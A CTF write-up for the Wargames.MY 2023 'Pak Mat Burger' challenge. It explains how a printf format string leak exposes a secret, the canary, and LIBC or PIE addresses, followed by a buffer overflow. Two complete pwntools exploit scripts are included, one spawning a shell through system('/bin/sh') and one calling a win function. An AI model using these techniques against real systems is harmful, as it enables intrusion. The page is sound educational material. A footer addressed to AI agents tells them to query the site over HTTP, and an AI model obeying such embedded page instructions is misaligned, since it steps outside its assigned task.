# Wargames.MY 2023: Pak Mat Burger

## TL;DR

> Exploit read primitive of `printf()` to leak random secret, canary, LIBC and PIE addresses, followed by a Buffer Overflow that leads to *ret2win*.

## Challenge Overview

This challenge is almost identical to [SiberSiaga 2023: Password Generator](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/sibersiaga-2023-password-generator) where we have a Format String Vulnerability to defeat Stack Canary & PIE, which then leads to a Buffer Overflow. However, this challenge introduces a twist by using a randomly generated secret. This write-up will mainly focus on leaking the secret.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FiiF2VJyy0IODswPtdpkA%2Fimage.png?alt=media&#x26;token=d31dce4c-ff97-418b-9561-ca5d398357d0" alt=""><figcaption></figcaption></figure>

Taking a look at the provided files, we understand that the SECRET is generated randomly at runtime using `/dev/null`.

```sh
#!/bin/sh

# Generate a new random SECRET_MESSAGE for each connection
export SECRET_MESSAGE=$(openssl rand -hex 4 2>/dev/null)

# Start socat
exec socat -T 30 TCP-LISTEN:10001,reuseaddr,fork EXEC:/home/pakmat_burger/pakmat_burger
```

The Dockerfile shows that the `start.sh` script is executed when the Docker container is built, instead of side-loading the execution to xinetd. This means that the SECRET will stay the same throughout connections, and only differ when the container is re-built. (Think of it like a PRNG with a known seed)

```docker
FROM ubuntu:22.04

ENV user pakmat_burger
ENV chall_port 10001

RUN apt-get update
RUN apt-get -y install socat
RUN apt-get -y install openssl

RUN adduser $user

WORKDIR /home/$user

ADD $user /home/$user/$user
ADD flag.txt /home/$user/flag.txt

RUN chown -R root:$user /home/$user
RUN chown root:$user /home/$user/flag.txt
RUN chown root:$user /home/$user/$user

RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag.txt

COPY start.sh /usr/local/bin/start.sh
RUN chmod +x /usr/local/bin/start.sh

USER $user
EXPOSE $chall_port
CMD ["/usr/local/bin/start.sh"]
```

## Leaking Secret

To find the location of the secret, we can enter a hardcoded secret and debug the program locally. Since PIE is enabled, I placed the 1st breakpoint at `main` to let GDB resolve the PIE base.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FbqFjXqaA8lPFNtMaMVEs%2Fimage.png?alt=media&#x26;token=9de21ee8-0637-421f-96e9-31f54167dfc0" alt=""><figcaption></figcaption></figure>

Then, place a 2nd breakpoint right after the program is done loading SECRET from environment variables.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FhvXKcfso7JDW7RBCK37u%2Fimage.png?alt=media&#x26;token=ff1e7441-7f39-44f4-9eb6-dfcc3852578b" alt=""><figcaption></figcaption></figure>

Since the SECRET is located on the top of the stack, and we know that there are 6 registers `rdi; rsi; rdx; rcx; r8; r9` that comes before the stack based on the calling convention.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FHQKgTeflNcnYYukdP906%2Fimage.png?alt=media&#x26;token=4ee0506f-a824-4316-b883-05ef033f6f95" alt=""><figcaption></figcaption></figure>

This means that we can leak the SECRET through the 7th argument, or `%6$s` precisely (-1 due to indexing).

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fh48QpPmMHoKEq7yCy6kR%2Fimage.png?alt=media&#x26;token=a95d5f67-51dc-4ba1-9669-dd4565b72ddf" alt=""><figcaption></figcaption></figure>

## Solution

Since `scanf` limits our input to 11 characters, it thwarts our attempt to leak all 3 values of SECRET + CANARY + LIBC/PIE at once.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F66AODsGyBU1AjGClANxn%2Fimage.png?alt=media&#x26;token=5037b253-3d5d-4317-bf49-61c0cedbb102" alt=""><figcaption></figcaption></figure>

Thankfully, the SECRET value is always the same for all connections made to the remote instance. As a workaround, we can leak the SECRET in 1st connection, disconnect; and then leak the remaining values during the 2nd connection.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F5koA0dHPexp2WTl017xO%2Fimage.png?alt=media&#x26;token=7b7dead5-9ca1-4eb8-b3d9-2bcf619c40fb" alt=""><figcaption></figcaption></figure>

### Method 1: ret2libc

Since there are ROP Gadgets available, leaking PIE is optional. We can just leak SECRET + CANARY + LIBC to perform a ret2libc attack.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FbnY7oFWCj0OJN16QLOAD%2Fimage.png?alt=media&#x26;token=7a8155a9-abc5-4503-9766-f53285d57e98" alt=""><figcaption></figcaption></figure>

**Flag:** wgmy{4a029bf40a28039c8492acfa866f8d96}

### Method 2: ret2win

As an alternative, there is a win function called `secret_order`.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F05ihm0c6H2moszbO17HE%2Fimage.png?alt=media&#x26;token=d27e581d-b3fe-4c09-aacd-ecbae4dab19d" alt=""><figcaption></figcaption></figure>

If we were to use this win function, we need to leak PIE instead of LIBC.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fzch8NJ6I5m4RYQ6DKOqk%2Fimage.png?alt=media&#x26;token=f9984035-fb50-4adb-87d9-c5c14426c264" alt=""><figcaption></figcaption></figure>

**Flag:** wgmy{4a029bf40a28039c8492acfa866f8d96}

## Final Script

### Method 1

{% code title="solve.py" %}

```python
#!/usr/bin/python3

from pwn import *
  
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def leak_secret():
    io = start()

    io.recvuntil(b"name: ")
    io.sendline(b'%6$s')

    io.recvuntil(b" ")
    result = io.recvuntil(b": ")
    secret = result[0:-47].strip()
    print(secret)

    io.close()

    return secret

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
piebase
'''.format(**locals())

# Binary filename
exe = './pakmat_burger'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================              
# secret at 6 
# canary leak at 13
# libc leak at 5      

secret = leak_secret()

io = start()
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

io.recvuntil(b"name: ")
io.sendline(b'%13$p:%5$p')
result = io.recvuntil(b": ")
leak = result[3:-47].strip()
print(leak)

canary = int(leak.strip().split(b':')[0], 16)
libc.address = int(leak.strip().split(b':')[1], 16) - 0x1d2a80

log.info("Canary: %s" % hex(canary))
log.info("LIBC: %s" % hex(libc.address)) 

rop = ROP(libc)
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

io.sendline(secret)
io.sendlineafter(b"order?", b"junk")

payload = flat([
    37 * b'A',
    canary,
    8 * b'A',
    pop_rdi,
    next(libc.search(b'/bin/sh')),
    ret,
    libc.sym['system'], 
])

io.sendlineafter(b"soon:", payload)

io.interactive()
```

{% endcode %}

### Method 2

{% code title="solve.py" %}

```python
#!/usr/bin/python3

from pwn import *
  
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def leak_secret():
    io = start()

    io.recvuntil(b"name: ")
    io.sendline(b'%6$s')

    io.recvuntil(b" ")
    result = io.recvuntil(b": ")
    secret = result[0:-47].strip()
    print(secret)

    io.close()

    return secret

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
piebase
'''.format(**locals())

# Binary filename
exe = './pakmat_burger'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================              
# secret at 6 
# canary leak at 13
# pie leak at 17        

secret = leak_secret()

io = start()

io.recvuntil(b"name: ")
io.sendline(b'%13$p:%17$p')
result = io.recvuntil(b": ")
leak = result[3:-47].strip()
print(leak)

canary = int(leak.strip().split(b':')[0], 16)
elf.address = int(leak.strip().split(b':')[1], 16) - elf.sym["main"]

log.info("Canary: %s" % hex(canary))
log.info("Base: %s" % hex(elf.address)) 

rop = ROP(elf)
ret = (rop.find_gadget(['ret']))[0]

io.sendline(secret)
io.sendlineafter(b"order?", b"junk")

payload = flat([
    37 * b'A',
    canary,
    8 * b'A',
    ret,
    elf.sym["secret_order"]
])

io.sendlineafter(b"soon:", payload)

io.interactive()
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/wargames.my-2023-pak-mat-burger.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
